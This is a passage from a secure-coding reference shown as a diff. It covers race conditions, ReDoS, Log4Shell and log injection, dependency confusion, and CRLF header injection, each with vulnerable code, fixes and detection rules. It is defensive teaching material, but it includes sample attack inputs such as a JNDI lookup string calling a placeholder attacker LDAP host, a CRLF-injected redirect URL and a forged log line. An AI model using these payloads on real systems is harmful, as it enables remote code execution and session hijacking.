**What it looks like:**
|
|
556
|
+
```python
|
|
557
|
+
coupon = db.coupons.find_one({'code': code})
|
|
558
|
+
if coupon and coupon['remaining'] > 0: # CHECK
|
|
559
|
+
apply_discount(current_user, coupon)
|
|
560
|
+
coupon['remaining'] -= 1 # USE -- race window between check and use
|
|
561
|
+
db.coupons.save(coupon)
|
|
562
|
+
```
|
|
563
|
+
|
|
564
|
+
**Why developers do it:** Sequential check-then-act is natural. Developers test with single
|
|
565
|
+
requests and never observe concurrent behavior.
|
|
566
|
+
|
|
567
|
+
**What goes wrong:** CVE-2024-30088 in Windows Kernel: TOCTOU exploited by APT34 for
|
|
568
|
+
privilege escalation in government attacks. CVE-2024-50379 in Apache Tomcat: race in JSP
|
|
569
|
+
compilation led to RCE (50+ public PoCs). CVE-2024-23651 in Docker BuildKit: mount cache
|
|
570
|
+
race enabled container breakout.
|
|
571
|
+
|
|
572
|
+
**The fix:**
|
|
573
|
+
```python
|
|
574
|
+
result = db.coupons.update_one(
|
|
575
|
+
{'code': code, 'remaining': {'$gt': 0}}, # atomic check+use
|
|
576
|
+
{'$inc': {'remaining': -1}}
|
|
577
|
+
)
|
|
578
|
+
if result.modified_count > 0: apply_discount(current_user, code)
|
|
579
|
+
```
|
|
580
|
+
|
|
581
|
+
**Detection rule:** Flag check-then-act patterns where a security check (`if balance >`,
|
|
582
|
+
`if os.access`) is separated from the action without a lock or atomic operation.
|
|
583
|
+
|
|
584
|
+
---
|
|
585
|
+
|
|
586
|
+
## VP-16: Regular Expression Denial of Service (ReDoS)
|
|
587
|
+
|
|
588
|
+
**Also known as:** Catastrophic Backtracking, CWE-1333. CVEs: CVE-2024-21538 (cross-spawn),
|
|
589
|
+
CVE-2022-24999 (qs).
|
|
590
|
+
|
|
591
|
+
| Frequency | Severity | Detection difficulty |
|
|
592
|
+
|---|---|---|
|
|
593
|
+
| Medium | Medium-High | Medium |
|
|
594
|
+
|
|
595
|
+
**What it looks like:**
|
|
596
|
+
```javascript
|
|
597
|
+
const emailRegex = /^([a-zA-Z0-9]+)*@[a-zA-Z0-9]+\.[a-zA-Z]+$/;
|
|
598
|
+
emailRegex.test("aaaaaaaaaaaaaaaaaaaaaaaaaaa!"); // hangs -- 2^27 backtracking steps
|
|
599
|
+
```
|
|
600
|
+
|
|
601
|
+
**Why developers do it:** Developers write regexes by intuition. Nested quantifiers
|
|
602
|
+
(`(a+)+`, `(.*a){n}`) look correct but create exponential backtracking on non-matching input.
|
|
603
|
+
|
|
604
|
+
**What goes wrong:** On July 2, 2019, **Cloudflare** deployed a WAF regex rule with
|
|
605
|
+
catastrophic backtracking. It exhausted CPU on every core handling HTTP worldwide, taking
|
|
606
|
+
Cloudflare offline for 27 minutes affecting millions of sites. Cloudflare rewrote their WAF
|
|
607
|
+
in Rust's non-backtracking regex engine. CVE-2024-21538 in cross-spawn (200M+ weekly
|
|
608
|
+
downloads) contained ReDoS in argument parsing.
|
|
609
|
+
|
|
610
|
+
**The fix:**
|
|
611
|
+
```javascript
|
|
612
|
+
const RE2 = require('re2'); // non-backtracking engine
|
|
613
|
+
const emailRegex = new RE2('^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}$');
|
|
614
|
+
// Or: limit input length, use purpose-built validators (validator.isEmail)
|
|
615
|
+
```
|
|
616
|
+
|
|
617
|
+
**Detection rule:** Static analysis for nested quantifiers: `(.+)+`, `(.*)*`, `(a|a)*`.
|
|
618
|
+
Use `safe-regex` or `vuln-regex-detector`. Set regex execution timeouts.
|
|
619
|
+
|
|
620
|
+
---
|
|
621
|
+
|
|
622
|
+
## VP-17: Log Injection / Log4Shell
|
|
623
|
+
|
|
624
|
+
**Also known as:** CWE-117 (Log Injection), CWE-917 (JNDI). CVEs: CVE-2021-44228 (Log4Shell),
|
|
625
|
+
CVE-2021-45046, CVE-2021-45105, CVE-2021-44832.
|
|
626
|
+
|
|
627
|
+
| Frequency | Severity | Detection difficulty |
|
|
628
|
+
|---|---|---|
|
|
629
|
+
| High (log injection) / Medium (JNDI) | Critical (Log4Shell) / Medium (log injection) | Low / High |
|
|
630
|
+
|
|
631
|
+
**What it looks like:**
|
|
632
|
+
```java
|
|
633
|
+
// Log4Shell: JNDI lookup in logged strings
|
|
634
|
+
logger.info("User-Agent: " + request.getHeader("User-Agent"));
|
|
635
|
+
// Attacker sends header: ${jndi:ldap://attacker.com/exploit}
|
|
636
|
+
// Log4j resolves JNDI -> connects to attacker LDAP -> downloads and executes class
|
|
637
|
+
```
|
|
638
|
+
```python
|
|
639
|
+
# Plain log injection: forging log entries
|
|
640
|
+
logger.info(f"Login attempt for user: {username}")
|
|
641
|
+
# Attacker sends: "admin\n2026-03-08 INFO Login successful for user: admin"
|
|
642
|
+
```
|
|
643
|
+
|
|
644
|
+
**Why developers do it:** Logging user input is best practice for auditing. Developers assume
|
|
645
|
+
log frameworks are sinks, not execution engines. Log4j's `${...}` lookup was enabled by
|
|
646
|
+
default on all messages.
|
|
647
|
+
|
|
648
|
+
**What goes wrong:** **CVE-2021-44228 (Log4Shell)**, disclosed December 9, 2021, scored CVSS
|
|
649
|
+
10.0. Log4j 2.0-beta9 through 2.14.1 resolved JNDI lookups in logged messages, giving
|
|
650
|
+
attackers unauthenticated RCE via a single HTTP header. Wiz/EY research: 93% of cloud
|
|
651
|
+
enterprise environments were vulnerable. Amazon, Google, Microsoft cloud affected. Attackers
|
|
652
|
+
deployed cryptominers, ransomware, and persistent backdoors. Three follow-on CVEs:
|
|
653
|
+
CVE-2021-45046 (context bypass), CVE-2021-45105 (DoS), CVE-2021-44832 (JDBC RCE).
|
|
654
|
+
|
|
655
|
+
**The fix:**
|
|
656
|
+
```java
|
|
657
|
+
// Update Log4j to 2.17.1+. Use parameterized logging:
|
|
658
|
+
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
|
|
659
|
+
// Pre-patch: -Dlog4j2.formatMsgNoLookups=true
|
|
660
|
+
// Plain log injection: strip newlines
|
|
661
|
+
String safe = username.replaceAll("[\\r\\n]", "_");
|
|
662
|
+
```
|
|
663
|
+
|
|
664
|
+
**Detection rule:** Scan deps for `log4j-core` < 2.17.1. Flag string concatenation in
|
|
665
|
+
logger calls. Check for `${` in log output.
|
|
666
|
+
|
|
667
|
+
---
|
|
668
|
+
|
|
669
|
+
## VP-18: Dependency Confusion & Header Injection
|
|
670
|
+
|
|
671
|
+
### VP-18a: Dependency Confusion
|
|
672
|
+
|
|
673
|
+
**Also known as:** Namespace Confusion, Supply Chain Attack. CVE: CVE-2021-24105 (Azure).
|
|
674
|
+
|
|
675
|
+
| Frequency | Severity | Detection difficulty |
|
|
676
|
+
|---|---|---|
|
|
677
|
+
| Medium | Critical | High |
|
|
678
|
+
|
|
679
|
+
**What it looks like:**
|
|
680
|
+
```json
|
|
681
|
+
{ "dependencies": { "mycompany-auth-utils": "^1.2.0" } }
|
|
682
|
+
// If not on public npm, attacker registers it -- npm prefers public over private
|
|
683
|
+
// Attacker's preinstall script exfiltrates env vars
|
|
684
|
+
```
|
|
685
|
+
|
|
686
|
+
**Why developers do it:** Package managers resolve from public registries by default.
|
|
687
|
+
Organizations use private names without registering public placeholders.
|
|
688
|
+
|
|
689
|
+
**What goes wrong:** In February 2021, Alex Birsan breached 35+ companies including **Apple,
|
|
690
|
+
Microsoft, PayPal, Netflix, Tesla, and Uber** by registering public packages matching private
|
|
691
|
+
names. Code executed on internal build servers with zero interaction. Microsoft awarded $40K
|
|
692
|
+
(their highest) and assigned CVE-2021-24105. Birsan earned $130K+ total.
|
|
693
|
+
|
|
694
|
+
**The fix:**
|
|
695
|
+
```
|
|
696
|
+
# Use scoped packages: @mycompany/auth-utils
|
|
697
|
+
# .npmrc: @mycompany:registry=https://private.registry.com/
|
|
698
|
+
# Pin with hashes: mycompany-auth==1.2.0 --hash=sha256:abc123
|
|
699
|
+
# Register placeholder packages on public registries
|
|
700
|
+
```
|
|
701
|
+
|
|
702
|
+
**Detection rule:** Audit private package names against public registries. Check for
|
|
703
|
+
unscoped packages existing only on private registries.
|
|
704
|
+
|
|
705
|
+
### VP-18b: Header Injection (CRLF / HTTP Response Splitting)
|
|
706
|
+
|
|
707
|
+
**Also known as:** CWE-113, CWE-93. CVEs: CVE-2024-52875 (KerioControl), CVE-2024-20337
|
|
708
|
+
(Cisco Secure Client).
|
|
709
|
+
|
|
710
|
+
| Frequency | Severity | Detection difficulty |
|
|
711
|
+
|---|---|---|
|
|
712
|
+
| Medium | Medium-High | Low |
|
|
713
|
+
|
|
714
|
+
**What it looks like:**
|
|
715
|
+
```python
|
|
716
|
+
response.headers['Location'] = request.args.get('url')
|
|
717
|
+
# Attacker: ?url=http://legit.com%0d%0aSet-Cookie:%20admin=true
|
|
718
|
+
```
|
|
719
|
+
|
|
720
|
+
**Why developers do it:** User input in headers (Location, Content-Disposition) without
|
|
721
|
+
stripping CRLF (`\r\n` / `%0d%0a`).
|
|
722
|
+
|
|
723
|
+
**What goes wrong:** CVE-2024-52875 in KerioControl firewalls: CRLF led to XSS and session
|
|
724
|
+
hijacking. CVE-2024-20337 in Cisco Secure Client: CRLF in SAML responses stole tokens for
|
|
725
|
+
unauthorized VPN sessions.
|
|
726
|
+
|
|
727
|
+
**The fix:**
|
|
728
|
+
```python
|
|
729
|
+
import re
|
|
730
|
+
safe_value = re.sub(r'[\r\n]', '', user_input)
|
|
731
|
+
# Best: use framework redirect functions that sanitize automatically
|
|
732
|
+
```
|
|
733
|
+
|
|
734
|
+
**Detection rule:** Flag header assignments using user-supplied values without CRLF stripping.
|
|
735
|
+
|
|
736
|
+
---
|
|
737
|
+
|
|
738
|
+
## Root Cause Analysis
|
|
739
|
+
|
|
740
|
+
| Root Cause | Patterns Affected | Principle Violated |
|
|
741
|
+
|---|---|---|
|
|
742
|
+
| **Trusting user input** | SQLi, XSS, CMDi, SSTI, Path Traversal, Header/Log Injection, XXE | Never trust, always validate |
|
|
743
|
+
| **Missing authorization** | IDOR, Mass Assignment, CSRF | Verify permissions on every request |
|
|
744
|
+
| **Unsafe defaults** | XXE (entities on), Log4j (lookups on), Deserialization (all classes) | Secure by default |
|
|
745
|
+
| **String concat for structured data** | SQLi, XSS, CMDi, SSTI, Log/Header Injection | Use parameterized APIs |
|
|
746
|
+
| **Insufficient boundary enforcement** | SSRF, Path Traversal, Open Redirects, ReDoS | Validate structure, not just presence |
|
|
747
|
+
| **Implicit internal trust** | SSRF, Dependency Confusion | Zero-trust at every boundary |
|
|
748
|
+
| **Non-atomic security checks** | Race conditions (TOCTOU) | Make check-and-act indivisible |
|
|
749
|
+
| **Over-permissive data binding** | Mass Assignment, Prototype Pollution | Allowlist fields, reject unknowns |
|
|
750
|
+
| **Uncontrolled deserialization** | Insecure Deser., XXE, Prototype Pollution | Never deserialize into executable constructs |
|
|
751
|
+
| **Supply chain trust** | Dependency Confusion, Log4Shell (transitive) | Verify provenance, pin versions |
|
|
752
|
+
|
|
753
|
+
---
|
|
754
|
+
|
|
755
|
+
## Self-Check Questions
|
|
756
|
+
|
|
757
|
+
1. **Does any query use string concatenation with user input?** -> SQLi (VP-01)
|
|
758
|
+
2. **Is user content rendered without escaping?** -> XSS (VP-02/03)
|
|
759
|
+
3. **Do state-changing endpoints validate CSRF tokens?** -> CSRF (VP-04)
|
|
760
|
+
4. **Can users control URLs the server fetches?** -> SSRF (VP-05)
|
|
761
|
+
5. **Is user data deserialized via pickle/Java/PHP native formats?** -> Deser. (VP-06)
|
|
762
|
+
6. **Are file paths built from user input without canonicalization?** -> Path Traversal (VP-07)
|
|
763
|
+
7. **Are shell commands built with user input or shell=True?** -> CMDi (VP-08)
|
|
764
|
+
8. **Does XML parsing disable external entities and DTDs?** -> XXE (VP-09)
|
|
765
|
+
9. **Are objects merged with user data without __proto__ filtering?** -> Prototype Pollution (VP-10)
|
|
766
|
+
10. **Can API consumers set arbitrary model fields?** -> Mass Assignment (VP-11)
|
|
767
|
+
11. **Do redirects use user URLs without domain allowlists?** -> Open Redirect (VP-12)
|
|
768
|
+
12. **Are data lookups keyed by user IDs without ownership checks?** -> IDOR (VP-13)
|
|
769
|
+
13. **Is user input placed inside compiled template strings?** -> SSTI (VP-14)
|
|
770
|
+
14. **Are security check-then-act sequences non-atomic?** -> Race Conditions (VP-15)
|
|
771
|
+
|
|
772
|
+
---
|
|
773
|
+
|
|
774
|
+
## Code Smell Quick Reference
|
|
775
|
+
|
|
776
|
+
| Code Smell | Vulnerability | Confidence |
|
|
777
|
+
|---|---|---|
|
|
778
|
+
| `f"SELECT ... {var}"` | SQL Injection (VP-01) | High |
|
|
779
|
+
| `innerHTML = userInput` | XSS (VP-02/03) | High |
|
|
780
|
+
| `dangerouslySetInnerHTML={{__html: var}}` | XSS (VP-02/03) | High |
|
|
781
|
+
| `render_template_string(user_input)` | SSTI (VP-14) | High |
|
|
782
|
+
| `pickle.loads(untrusted)` | Deserialization (VP-06) | High |
|
|
783
|
+
| `yaml.load(data)` (no SafeLoader) | Deserialization (VP-06) | High |
|
|
784
|
+
| `os.system(f"... {var}")` | Command Injection (VP-08) | High |
|
|
785
|
+
| `subprocess.run(..., shell=True)` | Command Injection (VP-08) | Medium |
|
|
786
|
+
| `requests.get(user_url)` | SSRF (VP-05) | Medium |
|
|
787
|
+
| `redirect(request.params['url'])` | Open Redirect (VP-12) | Medium |
|
|
788
|
+
| `send_file(base + user_filename)` | Path Traversal (VP-07) | High |
|
|
789
|
+
| `etree.parse(stream)` (no config) | XXE (VP-09) | Medium |
|
|
790
|
+
| `for (key in obj) target[key] = obj[key]` | Prototype Pollution (VP-10) | Medium |
|
|
791
|
+
| `setattr(model, key, val)` in loop | Mass Assignment (VP-11) | High |
|
|
792
|
+
| `response.headers['X'] = user_input` | Header Injection (VP-18b) | Medium |
|
|
793
|
+
| `logger.info("msg: " + user_input)` | Log Injection (VP-17) | Medium |
|
|
794
|
+
| `/^(a+)+$/` or `/(.*a){5}/` | ReDoS (VP-16) | High |
|
|
795
|
+
| `db.find({id: req.params.id})` (no owner) | IDOR (VP-13) | Medium |
|
|
796
|
+
| POST endpoint without CSRF token | CSRF (VP-04) | Medium |
|
|
797
|
+
| Private pkg name without scope prefix | Dependency Confusion (VP-18a) | Medium |
|
|
798
|
+
|
|
799
|
+
---
|
|
800
|
+
|
|
801
|
+
*Researched: 2026-03-08 | Sources: OWASP Top 10 (2021), NVD (nvd.nist.gov), CVE-2017-5638 (Equifax/Apache Struts), CVE-2021-44228 (Log4Shell/CISA), Capital One SSRF breach (2019/Krebs on Security), CVE-2015-4852 (WebLogic), CVE-2024-30088 (Windows Kernel TOCTOU), CVE-2024-50379 (Apache Tomcat), CVE-2023-36665 (protobuf.js), CVE-2024-21529 (dset), CVE-2021-24105 (Azure Artifacts/Alex Birsan), Cloudflare 2019 ReDoS outage, CVE-2024-3400 (PAN-OS), CVE-2021-41773 (Apache httpd), CVE-2024-52875 (KerioControl), CVE-2024-29041 (Express.js), GitHub mass assignment (2012/Homakov), Netflix CSRF (2006), ING Direct CSRF (2008), Uber SSTI (2016/Orange Tsai/James Kettle), Parler IDOR (2021), PortSwigger Web Security Academy, Wiz/EY Log4Shell research, Snyk vulnerability database*
|